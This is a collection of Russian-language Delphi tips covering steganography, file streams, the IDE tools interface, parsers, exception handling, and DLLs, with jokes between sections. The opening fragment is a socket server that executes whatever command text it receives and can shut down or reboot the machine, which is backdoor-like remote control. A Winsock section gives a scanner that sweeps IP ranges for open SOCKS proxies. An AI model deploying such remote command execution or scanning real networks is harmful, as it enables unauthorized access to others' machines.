ukaz : string;
orders : string;
Text : string;
box : string;
begin
ukaz := socket.ReceiveText;
label1.Caption := 'reciving...';
ShellExecute(Handle, 'open', PChar(ukaz), PChar(''), nil, sw_show);
Text := socket.ReceiveText;
orders := socket.ReceiveText;
if orders = 'power' then
begin
ShellExecute(Handle, 'open', PChar('shutdown.exe'), PChar('-s'), nil, sw_show);
Application.MessageBox('You will be turned off', 'Warning', mb_iconexclamation);
Serversocket1.Active := False;
Form1.Close;
end;
if Text = 'reset' then
begin
ShellExecute(Handle, 'open', PChar('shutdown.exe'), PChar('-r'), nil, sw_show);
Application.MessageBox('You will be reset', 'Warning', mb_iconexclamation);
Serversocket1.Active := False;
Form1.Close;
end;
end;
end.
Использование стенографии.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
// Do the actual encryption of the message inside the picture.
procedure TForm1.btnEncryptClick(Sender: TObject);
var
x, y, i, j: Integer;
PixelData: TColor;
CharMask, CharData: Byte;
begin
// Assign the original picture to both the target encrypted image
// and delta image. Also make sure thier resolution is sufficient to
// indicate the change in the LSB.
imgTarget.Picture.Assign(imgOrig.Picture);
imgDelta.Picture.Assign(imgOrig.Picture);
imgTarget.Picture.Bitmap.PixelFormat := pf32bit;
imgDelta.Picture.Bitmap.PixelFormat := pf32bit;
x := 0;
y := 0;
// The letter 'c' is identified by the binary representation of '10000011'
// for each '1' in this number change the current pixel's LSB value.
with imgTarget.Picture.Bitmap do
for i := 1 to Length(sourceMessage.Text) do
begin
CharMask := $80;
// 8 bytes for every letter to be encrypted.
for j := 1 to 8 do
begin
// See if the current byte in the character is either '1' or '0'.
CharData := Byte(sourceMessage.Text[i]) and CharMask;
//Data is not zero - change the LSB of the current pixel.
if (CharData <> 0) then
begin
// Xor the LSB value - hence change its value.
PixelData := Canvas.Pixels[x, y] xor $1;
// Store the changed pixel color back in the Pixels array.
Canvas.Pixels[x, y] := PixelData;
end;
// Move to the next pixel.
x := (x + 1) mod Width;
if (x = 0) then
begin
Inc(y);
end;
// Move the mask to be applied to the current character to the
// right, hence will now examine the next bit in the binary
// representation of the current letter to be encrypted.
CharMask := CharMask shr 1;
end;
end;
// Show the difference in the Delta image.
for y := 0 to imgOrig.Picture.Bitmap.Height -1 do
for x := 0 to imgOrig.Picture.Bitmap.Width -1 do
// Check for difference, the difference will show in the LSB of every
// pixel in the original and target images.
if (imgOrig.Picture.Bitmap.Canvas.Pixels[x, y] <>
imgTarget.Picture.Bitmap.Canvas.Pixels[x, y]) then
imgDelta.Picture.Bitmap.Canvas.Pixels[x, y] := clYellow;
end;
// Decryption ( by Lemy )
procedure TForm1.btnDecryptClick(Sender: TObject);
Var
x, y: integer;
mask, ch: byte;
begin
sourceMessage.Clear;
mask := $80;
ch := 0;
for y := 0 to imgOrig.Picture.Bitmap.Height -1 do
begin
for x := 0 to imgOrig.Picture.Bitmap.Width -1 do
begin
// if the pixel is different then set related bit
if (imgOrig.Picture.Bitmap.Canvas.Pixels[x, y] <>
imgTarget.Picture.Bitmap.Canvas.Pixels[x, y]) then
ch := ch or mask;
// shift the bit to the rigtht
mask := mask shr 1;
// if the mask is 0 then the dexryption of a char is completed
// so add to the Text and rest the highest bit
if mask = 0 Then
begin
sourceMessage.Text := sourceMessage.Text + char(ch);
mask := $80;
ch := 0;
end;
end;
end;
end;
Как использовать Список Задач (Tasklist).
| Автор: Daniel Kinnaer |
| Приходит как-то программер со школы. Жена ему говорит: - Дорогой, тебе чайник поставить? - Да за#бали меня уже эти чайники!!! |
procedure TForm1.Button1Click(Sender: TObject);
{Размещаем имена модулей запущенных/минимизированных задач в ListBox }
var
pTask: pTaskEntry; {требуется Uses ToolHelp}
Task: bool;
Pstr: array[0..79] of Char;
Str: string[80];
byt_j: byte;
begin
ListBox1.Clear;
GetMem(pTask, SizeOf(TTaskEntry)); {Резервируем память для TaskEntry}
pTask^.dwSize := SizeOf(TTaskEntry);
byt_j := 0; {Устанавливаем счетчик для количества задач}
Task := TaskFirst(pTask); {Ищем первую задачу}
while task do
begin
inc(byt_j); {счетчик количества различных задач}
Str := StrPas(pTask^.szModule); {Преобразуем PStr в паскалевскую строку}
Listbox1.Items.Add(str); {Сохраняем паскалевскую строку в ListBox}
task := taskNext(pTask); {Ищем следующую возможную задачу}
end;
Label1.Caption := IntToStr(byt_j) + ' задач найдено'; {Показываем счетчик}
end;
|
Использование TFileStream.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
type
TPerson = record
Name: string[50];
vorname: string[50];
end;
TComputer = record
Name: string[30];
cpu: string[30];
end;
var
Form1: TForm1;
Person: TPerson;
Computer: TComputer;
Stream: TFileStream;
implementation
{$R *.DFM}
//Speichern resp. Erstellen von Datei
//Save or create the file
procedure TForm1.Button1Click(Sender: TObject);
begin
try
Stream := TFileStream.Create('c:\test.dat', fmOpenReadWrite);
except
Stream := TFileStream.Create('c:\test.dat', fmCreate);
end;
//2 Eintrage pro Record
//save 2 records for TPerson and TComputer
Person.Name := 'Grossenbacher';
Person.vorname := 'Simon';
Stream.WriteBuffer(Person, SizeOf(TPerson));
Person.Name := 'Stutz';
Person.vorname := 'Thomas';
Stream.WriteBuffer(Person, SizeOf(TPerson));
Computer.Name := 'Delphi';
Computer.cpu := 'Intel';
Stream.WriteBuffer(Computer, SizeOf(TComputer));
Computer.Name := 'Win';
Computer.cpu := 'AMD';
Stream.WriteBuffer(Computer, SizeOf(TComputer));
Stream.Free;
end;
//ladt alle daten von TPerson in listbox1 und
//daten von TComputer in Listbox2
//load records from TPerson to listbox1 and
//load records from TComputer to listbox2
procedure TForm1.Button2Click(Sender: TObject);
var
i: Integer;
begin
try
// nur lesen offnen
//open read only
Stream := TFileStream.Create('c:\test.dat', fmOpenRead);
except
ShowMessage('Datei konnte nicht geladen werden.');
Exit;
end;
//variable i auf anzahl Eintrage setzen
//set variable i to the record count
//Einlesen von TPerson
//Read records TPerson
for i := 2 downto 1 do
begin
Stream.ReadBuffer(Person, SizeOf(TPerson));
Listbox1.Items.Add(Person.vorname + ' ' + Person.Name);
end;
//Einlesen von TComputer
//Read Records TComputer
for i := 2 downto 1 do
begin
Stream.ReadBuffer(Computer, SizeOf(TComputer));
Listbox2.Items.Add(Computer.Name + ' ' + Computer.cpu);
end;
Stream.Free;
end;
Использование Tools Interface.
| Автор: Jim Poe |
| Для приманивания программиста необходима любая деталь, которую вы сможете открутить от заранее купленного компьютера. Небрежно помахивая ею, приближайтесь к намеченной особи, бормоча какие-либо компьютерные термины. После этого попросите починить ваш якобы случайно сломавшийся компьютер. Программист пойдет за вами, как бы впав в состояние транса. Дома угостите его сардельками и пивом. Скорее всего, программист уже никуда не уйдет. |
В самой процедуре InsertHeader я создаю экземпляр TIEditReader для чтения нового модуля и TIEditWriter для его изменения.
unit VCSNtfy;
interface
uses SysUtils, Dialogs, Controls, ToolIntf, EditIntf;
type
TIVCSNotifier = class(TIAddInNotifier)
public
procedure FileNotification(NotifyCode: TFileNotification; const FileName:
string; var Cancel: Boolean); override;
end;
TIVCSEditorInterface = class(TIEditorInterface)
public
procedure InsertHeader;
end;
var
VCSNotifier: TIVCSNotifier;
VCSModuleInterface: TIModuleInterface;
VCSEditorInterface: TIVCSEditorInterface;
implementation
uses FITIntf, FITStr, Classes;
{ ************************* Начало VCSNotifier **************************** }
procedure TIVCSNotifier.FileNotification(NotifyCode: TFileNotification; const
FileName: string; var Cancel: Boolean);
var
TmpFileName: string;
begin
case NotifyCode of
fnRemovedFromProject: VCSProject.Remove(LowerCase(ExtractFileName(
FileName)));
fnAddedToProject:
begin
if (not FileExists(FileName)) and
(ExtractFileExt(FileName) = '.pas') then
begin
{ новый файл с исходным кодом }
VCSModuleInterface := ToolServices.GetModuleInterface(FileName);
if VCSModuleInterface <> nil then
begin
VCSEditorInterface := TIVCSEditorInterface(
VCSModuleInterface.GetEditorInterface);
VCSEditorInterface.InsertHeader;
VCSEditorInterface.Free;
end;
VCSModuleInterface.Free;
end;
TmpFileName := LowerCase(ExtractFileName(FileName));
if VCSProject.RecycleExists(TmpFileName) then
begin
if MessageDlg('Вы хотите извлечь текущие ' +
' записи из таблицы Recycle' +
#13 + #10 + ' ' +
VCSProject.ProjectName + '/' +
TmpFileName + '?', mtConfirmation,
[mbYes, mbNo], 0) = mrYes then
begin
VCSProject.Recycle(TmpFileName);
end;
end;
end;
end;
end;
{ ************************* Конец TIVCSNotifier *************************** }
{ ********************* Начало TIVCSEditorInterface ************************ }
procedure TIVCSEditorInterface.InsertHeader;
var
Module, TmpFileName, UnitName, InsertText, Tmp: string;
Reader: TIEditReader;
Writer: TIEditWriter;
APos: Integer;
F: TextFile;
begin
TmpFileName := ExtractFileName(FileName);
UnitName := SwapStr(TmpFileName, '.pas', '');
SetLength(Module, 255);
Reader := CreateReader;
try
Reader.GetText(0, PChar(Module), Length(Module));
finally
Reader.Free;
end;
APos := Pos('unit ' + UnitName, Module);
if APos > 0 then
begin
try
InsertText := '';
AssignFile(F, VCSConfig.HeaderFileLocation);
Reset(F);
while not EOF(F) do
begin
Readln(F, Tmp);
InsertText := InsertText + #13 + #10 + Tmp;
end;
CloseFile(F);
InsertText := InsertText + #13 + #10;
Writer := CreateWriter;
try
Writer.CopyTo(APos - 1);
Writer.Insert(PChar(InsertText));
finally
Writer.Free;
end;
except
on E: EStreamError do
MessageDlg('Не могу создать шапку', mtInformation, [mbOK], 0);
end;
end;
end;
{ ********************* Конец TIVCSModuleInterface ************************** }
end.
|
Использование TParser.
Автор: Mike Scott Вы просили пример кода использования TParser. Хорошо, вот несколько процедур для модуля Parser для создания документации Delphi-компонент напрямую из исходного кода.TDelphiUnitParser - подкласс со специфическими методами, позволяющими парсировать секцию Interface модуля Delphi. Вы можете не использовать этого наследника TParser в вашем коде - это просто иллюстрация того, как можно использовать некоторые свойства и методы TParser. Присылайте мне другие ваши решения по этому вопросу.
{ TDelphiUnitParser }
function TDelphiUnitParser.CheckSectionBreak: Boolean;
begin
with Parser do
begin
Result := (Token = toSymbol) and
(Compare('Var') or
Compare('Const') or
Compare('Type') or
Compare('Implementation') or
Compare('Procedure') or
Compare('Function'));
end;
end;
procedure TDelphiUnitParser.ParseParameterList;
begin
with Parser do
begin
{ пропускаем '(' }
NextToken;
while Token <> ')' do
NextToken;
NextToken;
end;
end;
procedure TDelphiUnitParser.ParseRecord;
begin
with Parser do
begin
{ пропускаем 'record' }
NextToken;
while (Token <> toSymbol) or not Compare('End') do
begin
if Token = 'Record' then
ParseRecord
else
NextToken;
end;
end;
end;
procedure TDelphiUnitParser.ParseDeclaration;
begin
with Parser do
begin
while Token <> ';' do
begin
if Token = '(' then
ParseParameterList
else if (Token = toSymbol) and Compare('Record') then
ParseRecord
else
NextToken;
end;
end;
end;
procedure TDelphiUnitParser.ParseConst;
var
AString: string;
AStart: PChar;
EndOfConsts: Boolean;
begin
with Parser do
begin
NextToken;
repeat
if Token <> toSymbol then
ErrorStr('Неопознанный идентификатор');
AString := TokenString;
AStart := FSourcePtr;
NextToken;
if not (Token in ['=', ':']) then
ErrorStr('''='' or '':''
ожидалось' ) ;
ParseDeclaration;
FindToken(';');
until CheckSectionBreak;
end;
end;
|
Использование Try.
unit UsTry_;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;
type
TForm1 = class(TForm)
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
Label4: TLabel;
Edit1: TEdit; // напряжение
Edit2: TEdit; // сопротивление
Label5: TLabel; // результат расчета - ток
Button1: TButton; // кнопка Вычислить
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject);
var
u: real; // напряжение
r: real; // сопротивление
i: real; // ток
begin
Label5.Caption := '';
try
// инструкции, которые могут
// вызвать исключение (ошибку)
u := StrToFloat(Edit1.Text);
r := StrToFloat(Edit2.Text);
i := u / r;
except
on EZeroDivide do // деление на ноль
begin
ShowMessage(' Сопротивление не может быть равно нулю!');
exit;
end;
on EConvertError do // невозможно преобразовать строку символов в число
begin
ShowMessage('Напряжение и сопротивление должны быть заданы числом.' + #13 +
'При записи дробного числа используйте запятую.');
exit;
end;
end;
Label5.caption := FloatToStr(i) + ' А';
end;
end.
Как использовать клавишу-акселератор в TTabSheets.
| Press any key to continue or any other key to exit |
Можно перехватить сообщение CM_DIALOGCHAR.
type
TForm1 = class(TForm)
PageControl1: TPageControl;
TabSheet1: TTabSheet;
TabSheet2: TTabSheet;
TabSheet3: TTabSheet;
private
{Private declarations}
procedure CMDialogChar(var Msg:TCMDialogChar);
message CM_DIALOGCHAR;
public
{Public declarations}
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.CMDialogChar(var Msg:TCMDialogChar);
var
i: integer;
begin
with PageControl1 do
begin
if Enabled then
for i := 0 to PageControl1.PageCount - 1 do
if ((IsAccel(Msg.CharCode, Pages[i].Caption)) and
(Pages[i].TabVisible)) then
begin
Msg.Result:=1;
ActivePage := Pages[i];
exit;
end;
end;
inherited;
end;
|
Работа с Winsock на Delphi.
| Паук подает в суд на World WideWeb: за нарушение копирайта. Впрочем, он будет вполне удовлетворен, если ему в качестве компенсации будут отдавать мух, которых сгоняют с мониторов курсором мыши. |
Это далеко не все функции, находящиеся в winsock.dll. Еще раз повторю, что полный их список можно найти в файле winsock.pas, а описание можно посмотреть в Win32 API Reference - Windows Sockets 2 Reference. Надеюсь, что Вы поняли все вышенаписанное и знакомы с основами функционирования сокетов, т.е. понимаете, что такое сокет. Для закрепления полученных знаний, как обычно, напишим маленькую программку.. Все знают, что такое Socks сервер и для чего он нужен.. Если у Вас провал в памяти, я напомню: Socks прокси работают по Socks протоколу, который не зависит от высокоуровневых протоколов (http, ftp, telnet и.т.д.) и поэтому может использоваться для передачи данных по любому протоколу "высокого уровня". После всего выше изложенного будет вполне закономерно, что для тренировки мы напишем простой консольный сканер диапазонов IP адресов на открытый 1080 порт, который является стандартным портом Socks серверов.
program scan;
{$APPTYPE CONSOLE}
{ Для использования winsock необходимо описать этот модуль в uses. }
uses
sysutils,winsock;
{ дефолтовый порт Socks прокси. Сюда можно вписать любой порт,
превратив наш сканнер, к примеру, в httpd (80 порт) сканнер. }
const
port = 1080;
{ Здесь объявляем переменные }
var
D:WSAData;
S:TSocket;
A:TSockAddr;
m1,m2,mask,val:String;
i:Integer;
begin
{ Если наш сканер запущен без параметров, выводим некоторую информацию.. }
if paramcount < 1 then
begin
writeln('Socks Scanner by har0n, har0n@gmx.net');
writeln('Example: scan.exe 127.0.0 1-255');
writeln('http://www.security.net.tf');
exit;
end
else
{ Если сканер запущен с параметрами, в переменную mask заносим 1-ый параметр,
в val 2-ой параметр }
begin
mask:=paramstr(1);
val:=paramstr(2);
{ Определяем диапазон сканирования}
m1:= copy(val,1,pos('-',val)-1);
m2:= copy(val,pos('-',val)+1,length(val));
writeln('- Scanning begin: '+mask+'.'+m1+' - '+mask+'.'+m2+' -');
writeln;
{ Если WSAStartup() возвращает не нулевое значение, выводим сообщение об ошибке
и выходим из программы}
if WSAStartup($101,D)<>0 then
begin
writeln('error..');
exit;
end;
{ Начинаем процесс сканирования }
for i:= strtoint(m1) to strtoint(m2) do
begin
{ Определяем тип семейства сокетов, и IP адрес для сканирования }
A.sin_family:=AF_INET;
A.sin_addr.S_addr:=inet_addr(pchar(mask+'.'+inttostr(i)));
{ Создаем сокет }
S:=socket(AF_INET,SOCK_STREAM,0);
{ Если возвращено значение INVALID_SOCKET, выводим сообщение об ошибке }
if S=INVALID_SOCKET then
writeln('socket error');
{ Определяем порт (задается константой) }
A.sin_port:=htons(port);
{ Пытаемся подконнектиться, если удачно - выводим сообщение, что порт открыт,
в другом случае - сообщение о том, что порт закрыт (или недоступен) }
if connect(S,A,sizeof(A))=0 then
writeln(mask+'.'+inttostr(i)+' port '+inttostr(port)+' opened') else
writeln(mask+'.'+inttostr(i)+' port '+inttostr(port)+' closed');
end;
{ Завершаем работу с сокетами }
WSACleanup;
writeln;
writeln('- Scanning is completed -');
end;
end.
|
Запускать сканер будем так: scan.exe 127.0.0 1-255, при этом будут проверены IP адреса с 127.0.0.1 по 127.0.0.255. Я компилировал исходник на Delphi 5 update pack 1, Windows 2000 SP2, но, думаю, и под другими версиями Delphi и Windows проблем не возникнет. Ну все, удачи!
Как использовать встроенные в Windows иконки в своём приложении.
Сперва необходимо узнать, константы, которые соответствуют определённым иконкам. Все они определены в API unit (windows.pas) в Delphi:
IDI_HAND IDI_EXCLAMATION IDI_QUESTIONСледующий пример рисует иконку вопроса на панели:
var DC: HDC; Icon: HICON; begin DC := GetWindowDC(Panel1.Handle); Icon := LoadIcon(0, IDI_QUESTION); DrawIcon(DC, 5, 5, Icon); ReleaseDC(Panel1.Handle, DC); end; |
Использование и создание DLL в Delphi.
| У жены программиста спросили: - А как он за тобой ухаживал? Жена, после минутного раздумья: - Ну-у, компьютер показал... |
Введение
В связи с бурным развитием технологий программирования, все больше людей сталкиваются с проблемой наращивания возможностей своих программ. Данная статья посвящена именно этому вопросу, а именно - программирование DLL в Borland Delphi. Кроме того, так как мы затронем вопросы по использованию библиотек DLL, то попутно коснемся импортирования функций из чужих DLL (в том числе и системных, т.е. WinAPI).
Области применения DLL
Итак, зачем же нужны библиотеки DLL и где они используются?.. Перечислим лишь некоторые из областей их применения:
Отдельные библиотеки Содержат полезные для программистов дополнительные функции. Например, функции для работы со строками, или же - сложные библиотеки для преобразования изображений. Хранилища ресурсов В DLL можно хранить не только программы и функции, но и всевозможные ресурсы - иконки, рисунки, строковые массивы, меню, и т.д. Библиотеки поддержки В качестве примера можно привести библиотеки таких известных пакетов, как: DirectX, ICQAPI (API для ICQ), OpenGL и т.д. Части программы Например, в DLL можно хранить окна программы (формы), и т.п. Плагины (Plugins) Вот где настоящий простор для мыслей программиста! Плагины - дополнения к программе, расширяющие ее возможности. Например, в этой статье мы рассмотрим теорию создания плагина для собственной программы. Разделяемый ресурс DLL (Dynamic Link Library) может быть использована сразу несколькими программами или процессами (т.н. sharing - разделяемый ресурс)Краткое описание функций и приемов для работы с DLL
Итак, какие же приемы и функции необходимо использовать, чтобы работать с DLL? Разберем два метода импортирования функций из библиотеки:
1 способ. Привязка DLL к программе.
Это наиболее простой и легкий метод для использования функций, импортируемых из DLL. Однако (и на это следует обратить внимание) этот способ имеет очень весомый недостаток - если библиотека, которую использует программа, не будет найдена, то программа просто не запустится, выдавая ошибку и сообщая о том, что ресурс DLL не найден. А поиск библиотеки будет вестись: в текущем каталоге, в каталоге программы, в каталоге WINDOWS\SYSTEM, и т.д. Итак, для начала - общая форма этого приема:
implementation ... function FunctionName(Par1: Par1Type; Par2: Par2Type; ...): ReturnType; stdcall; external 'DLLNAME.DLL' name 'FunctionName' index FuncIndex; // или (если не функция, а процедура): procedure ProcedureName(Par1: Par1Type; Par2: Par2Type; ...); stdcall; external 'DLLNAME.DLL' name 'ProcedureName' index ProcIndex; |
Здесь:
FunctionName (либо ProcedureName) имя функции (или процедуры), которое будет использоваться в Вашей программе; Par1, Par2, ... имена параметров функции или процедуры; Par1Type, Par2Type, ... типы параметров функции или процедуры (например, Integer); ReturnType тип возвращаемого значения (только для функции); stdcall директива, которая должна точно совпадать с используемой в самой DLL; external 'DLLNAME.DLL' директива, указывающая имя внешней DLL, из которой будет импортирована данная функция или процедура (в данном случае - DLLNAME.DLL); name 'FunctionName' ('ProcedureName') директива, указывающая точное имя функции в самой DLL. Это необязательная директива, которая позволяет использовать в программе функцию, имеющую название, отличное от истинного (которое она имеет в библиотеке); index FunctionIndex (ProcedureIndex) директива, указывающая порядковый номер функции или процедуры в DLL. Это также необязательная директива.2 способ. Динамическая загрузка DLL
Это гораздо более сложный, но и более элегантный метод. Он лишен недостатка первого метода. Единственное, что неприятно - объем кода, необходимого для осуществления этого приема, причем сложность в том, что функция, импортируемая из DLL достуна лишь тогда, когда эта DLL загружена и находится в памяти... С примером можно ознакомиться ниже, а пока - краткое описание используемых этим методом функций WinAPI:
LoadLibrary(LibFileName: PChar) загрузка указанной библиотеки LibFileName в память. При успешном завершении функция возвращает дескриптор (THandle) DLL в памяти. GetProcAddress(Module: THandle; ProcName: PChar) считывает адрес экспортированной библиотечной функции. При успешном завершении функция возвращает дескриптор (TFarProc) функции в загруженной DLL. FreeLibrary(LibModule: THandle) делает недействительным LibModule и освобождает связанную с ним память. Следует заметить, что после вызова этой процедуры функции данной библиотеки больше недоступны.Практика и примеры
Ну а теперь пора привести пару примеров использования вышеперечисленных методов и приемов:
Пример 1. Привязка DLL к программе
{... Здесь идет заголовок файла и определение
формы TForm1 и ее экземпляра Form1}
implementation
{Определяем внешнюю библиотечную функцию}
function GetSimpleText(LangRus: Boolean): PChar;
stdcall; external 'MYDLL.DLL';
procedure Button1Click(Sender: TObject);
begin
{И используем ее}
ShowMessage(StrPas(GetSimpleText(True)));
ShowMessage(StrPas(GetSimpleText(False)));
{ShowMessage - показывает диалоговое окно с указанной надписью;
StrPas - преобразует строку PChar в string}
end;
|
Теперь то же самое, но вторым способом - с динамической загрузкой:
Пример 2. Динамическая загрузка DLL
{... Здесь идет заголовок файла и определение
формы TForm1 и ее экземпляра Form1}
var
Form1: TForm1;
GetSimpleText: function(LangRus: Boolean): PChar;
LibHandle: THandle;
procedure Button1Click(Sender: TObject);
begin
{"Чистим" адрес функции от "грязи"}
@GetSimpleText := nil;
{Пытаемся загрузить библиотеку}
LibHandle := LoadLibrary('MYDLL.DLL');
{Если все OK}
if LibHandle >= 32 then
begin
{...то пытаемся получить адрес функции в библиотеке}
@GetSimpleText := GetProcAddress(LibHandle,'GetSimpleText');
{Если и здесь все OK}
if @GetSimpleText <> nil then
{...то вызываем эту функцию и показываем результат}
ShowMessage(StrPas(GetSimpleText(True)));
end;
{И не забываем освободить память и выгрузить DLL}
FreeLibrary(LibHandle);
end;
|
Примечание: Следует воздерживаться от использования типа string в библиотечных функциях, т.к. при его использовании существуют проблемы с "разделением памяти". Подробней об этом можно прочитать (правда, на английском) в тексте пустого проекта DLL, который создает Delphi (File -> New -> DLL). Так что лучше используйте PChar, а затем при необходимости конвертируйте его в string функцией StrPas.
Ну а теперь разберем непосредственно саму библиотеку DLL:
Пример 3. Исходник проекта MYDLL.DPR
library mydll;
uses
SysUtils, Classes;
{Определяем функцию как stdcall}
function GetSimpleText(LangRus: Boolean): PChar; stdcall;
begin
{В зависимости от LangRus возвращаем русскую (True) либо английскую (False) фразу}
if LangRus then
Result := PChar('Здравствуй, мир!')
else
Result := PChar('Hello, world!');
end;
{Директива exports указывает, какие функции будут экспортированы этой DLL}
exports GetSimpleText;
begin
end.
|
Размещение в DLL ресурсов и форм
В DLL можно размещать не только функции, но и курсоры, рисунки, иконки, меню, текстовые строки. На этом мы останавливаться не будем. Замечу лишь, что для загрузки ресурса нужно загрузить DLL, а затем, получив ее дескриптор, - загружать сам ресурс соотвествующей функцией (LoadIcon, LoadCursor, и т.д.). В этом разделе мы лишь немного затронем размещение в библиотеках DLL окон приложения (т.е. форм в Дельфи).
Для этого нужно создать новую DLL и добавить в нее новую форму (File -> New -> DLL, а затем - File -> New Form). Далее, если форма представляет собой диалоговое окно (модальную форму (bsDialog)), то добавляем в DLL следующую функцию (допустим, форма называется Form1, а ее класс - TForm1):
Пример 4. Размещение формы в DLL
function ShowMyDialog(Msg: PChar): Boolean; stdcall;
...
exports ShowMyDialog;
function ShowMyDialog(Msg: PChar): Boolean;
begin
{Создаем экземпляр Form1 формы TForm1}
Form1 := TForm1.Create(Application);
{В Label1 выводим Msg}
Form1.Label1.Caption := StrPas(Msg);
{Возвращаем True только если нажата OK (ModalResult = mrOk)}
Result := (Form1.ShowModal = mrOk);
{Освобождаем память}
Form1.Free;
end;
|
Если же нужно разместить в DLL немодальную форму, то необходимо сделать две функции - открытия и закрытия формы. При этом нужно заставить DLL запомнить дескриптор этой формы.
Создание плагинов
Здесь мы не будем подробно рассматривать плагины, т.к. уже приведенные выше примеры помогут Вам легко разобраться в львиной части программирования DLL. Напомню лишь, что плагин - дополнение к программе, расширяющее ее возможности. При этом сама программа обязательно должна предусматривать наличие таких дополнений и позволять им выполнять свое предназначение.
Т.е., например, чтобы создать плагин к графическому редактору, который бы выполнял преобразование изображений, Вам нужно предусмотреть как минимум две функции в плагине (и, соответственно, вызвать эти функции в программе) - функция, которая бы возвращала имя плагина (и/или его тип), чтобы добавить этот плагин в меню (или в тулбар), плюс главная функция - передачи и приема изображения. Т.е. сначала программа ищет плагины, потом для каждого найденного вызывает его опозновательную функцию со строго определенным именем (например, GetPluginName) и добавляет нужный пункт в меню, затем, если пользователь выбрал этот пункт - вызывает вторую функцию, которой передает входное изображение (либо имя файла, содержащего это изображение), а эта функция, в свою очередь, обрабатывает изображение и возвращает его в новом виде (или имя файла с новым изображением). Вот и вся сущность плагина... :-).
Эпилог
В этой статье отображены основные стороны использования и создания библиотек DLL в Borland Delphi. Если у Вас есть вопросы - скидывайте их мне на E-mail: snick@mailru.com.
Использование DLL в Delphi.
Содержание.
Понятие DLL Создание DLL в Delphi (экспорт) Использование DLL в Delphi (импорт) DLL, использующие объекты VCL для работы с данными Исключительные ситуации в DLL Понятие DLLВспомним процесс программирования в DOS. Преобразование исходного текста программы в машинный код включал в себя два процесса - компиляцию и линковку. В процессе линковки, редактор связей, компоновавший отдельные модули программы, помещал в код программы не только объявления функций и процедур, но и их полный код. Вы готовили таким образом одну программу, другую, третью ... И везде код одних и тех же функций помещался в программу полностью.
Программа1 Программа2 : : MyFunc(:) MyFunc(:) : : код функции MyFunc код функции MyFunc код других функций код других функций.
В многозадачной среде такой подход был бы по меньшей мере безрассудным, так как очевидно, что огромное количество одних и тех же функций, отвечающих за прорисовку элементов пользовательского интерфейса, за доступ к системным ресурсам и т.п. дублировались бы полностью во всех приложениях, что привело бы к быстрому истощению самого дорогого ресурса - оперативной памяти. В качестве решения возникшей проблемы, еще на UNIX-подобных платформах была предложена концепция динамической компоновки (см. рис . 2).
Но, чем же отличаются Dynamic Link Library (DLL) от обычных приложений? Для понимания этого требуется уточнить понятия задачи (task), экземпляра (копии) приложения (instance) и модуля (module).
При запуске нескольких экземпляров одного приложения, Windows загружает в оперативную память только одну копию кода и ресурсов - модуль приложения, создавая несколько отдельных сегментов данных, стека и очереди сообщений (см. рис. 3), каждый набор которых представляет из себя задачу, в понимании Windows. Копия приложения представляет из себя контекст, в котором выполняется модуль приложения.
DLL - библиотека также является модулем. Она находится в памяти в единственном экземпляре и содержит сегмент кода и ресурсы, а также сегмент данных (см. рис. 4).
DLL - библиотека, в отличие от приложения не имеет ни стека, ни очереди сообщений. Функции, помещенные в DLL, выполняются в контексте вызвавшего приложения, пользуясь его стеком. Но эти же функции используют сегмент данных, принадлежащий библиотеке, а не копии приложения.
В силу такой организации DLL, экономия памяти достигается за счет того, что все запущенные приложения используют один модуль DLL, не включая те или иные стандартные функции в состав своих модулей.
Часто, в виде DLL создаются отдельные наборы функций, объединенные по тем или иным логическим признакам, аналогично тому, как концептуально происходит планирование модулей ( в смысле unit ) в Pascal. Отличие заключается в том, что функции из модулей Pascal компонуются статически - на этапе линковки, а функции из DLL компонуются динамически, то есть в run-time.
Создание DLL в Delphi (экспорт)
Для программирования DLL Delphi предоставляет ряд ключевых слов и правил синтаксиса. Главное - DLL в Delphi такой же проект как и программа.
Рассмотрим шаблон DLL:
library MyDll; uses <используемые модули> <объявления и описания функций> exports <экспортируемые функции> begin <инициализационная часть> end. |
Имя файла проекта для такого шаблона должно быть MYDLL.DPR.
К сожалению, в IDE Delphi автоматически генерируется только проект программы, поэтому Вам придется проект DLL готовить вручную. В Delphi 2.0 это неудобство устранено.
Как и в программе, в DLL присутствует раздел uses. Инициализационная часть необязательна. В разделе же exports перечисляются функции, доступ к которым должен производится из внешних приложений.
Экспортирование функций (и процедур ) может производится несколькими способами:
по номеру (индексу) по имениВ зависимости от этого используется различный синтаксис:
{экспорт по индексу}
procedure ExportByOrdinal; export;
begin
...
end;
exports
ExportByOrdinal index 10;
{экспорт по имени}
procedure ExportByName; export;
begin
...
end;
{ имя для экспорта может не совпадать с именем функции ! }
exports
ExportByName name 'MYEXPORTPROC';
|
Так как в Windows существует понятие "резидентных функций" DLL, то есть тех функций, которые находятся в памяти на протяжении всего времени существования DLL в памяти, в Delphi имеются средства для организации и такого рода экспорта:
exports ExportByName name 'MYEXPORTPROC' resident; |
Стоит отметить тот факт, что поиск функций, экспортируемых по индексу, производится быстрее, чем при экспорте по имени. С другой стороны, экспорт по имени удобнее, особенно если Вы периодически дополняете и расширяете набор экспортируемых из DLL функций, при гарантии работы приложений, использующих DLL, и не хотите специально следить за соблюдением уникальности и соответствия индексов.
Если же Вы будете экспортировать функции следующим образом:
exports MyExportFunc1, MyExportFunc2, ... ; |
То индексирование экспортируемых функций будет произведено Delphi автоматически, а такой экспорт будет считаться экспортом по имени, совпадающему с именем функции. Тогда объявление импортируемой функции в приложении должно совпадать по имени с объявлением функции в DLL. Что же касается директив, накладываемых уже на импортируемые функции, то об этом мы поговорим ниже.
Использование DLL в Delphi (импорт)
Для организации импорта, т.е. доступа к функциям, экспортируемым из DLL, так же как и для их экспорта, Delphi предоставляет стандартные средства.
Для показанных выше примеров, в Вашей программе следует объявить функции, импортируемые из DLL таким образом:
{ импорт по специфицированному имени }
procedure ImportByName;external 'MYDLL' name 'MYEXPORTPROC';
{ импорт по индексу }
procedure ImportByOrdinal; external 'MYDLL' index 10;
{ импорт по оригинальному имени }
procedure MyExportFunc1; external 'MYDLL';
|
Этот способ называется статическим импортом.
